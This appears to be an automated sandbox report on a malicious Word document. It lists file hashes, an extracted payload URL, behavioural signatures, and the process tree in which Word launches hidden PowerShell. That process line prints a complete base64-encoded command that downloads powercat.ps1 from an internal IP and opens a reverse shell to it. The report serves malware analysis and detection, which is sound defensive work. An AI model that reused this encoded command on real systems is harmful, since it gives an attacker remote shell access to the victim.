Analysis
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max time kernel
46s -
max time network
37s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22-07-2024 21:58
Behavioral task
behavioral1
Sample
a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc
Resource
win10v2004-20240709-en
General
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Target
a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc
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Size
30KB
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MD5
68bc25652d7c957bb2e38bf08cbc29b6
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SHA1
8aa49fd09dcad64e112ebcf9736d6922b60175c9
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SHA256
a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513
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SHA512
d9e87f1d2aea6ee8c2100da6c40a8f2f38075d8dedabf1e408f06ad7813686f6e624d60f71f710e330a1bf779c575b48b8d033c740bbee0db1c28af7f52dd3fd
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SSDEEP
192:OaIlLZEvA+6/6rNavrgYjk+4bWlMYTxsud3cvP+rDBLg0jw2tqflTXPa:TE8iSwvxjk+tMYN30P+rDZg0j/tq9
Malware Config
Extracted
http://192.168.45.218/powercat.ps1
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4128 2400 powershell.exe 83 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4128 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2400 WINWORD.EXE 2400 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4128 powershell.exe 4128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4128 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2400 WINWORD.EXE 2400 WINWORD.EXE 2400 WINWORD.EXE 2400 WINWORD.EXE 2400 WINWORD.EXE 2400 WINWORD.EXE 2400 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2400 wrote to memory of 4128 2400 WINWORD.EXE 87 PID 2400 wrote to memory of 4128 2400 WINWORD.EXE 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4128
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize1KB
MD5d50fd3bee69892555c145f7c032c8624
SHA1549ee2734c7411b0df79faf3a45beb292a4baeda
SHA25672a1239b378fd0e6f24d5acd9e82f3f8dd4d0f0864dea00af8ce4a6715f68002
SHA51291da9b06893a07ffc97d94d30b6df7d094525b5a8e95a719b93bee343e1399a83013f7adf78864567ff4fd76e974fe64516d7bac188237785dbe2bf5b8c5fc82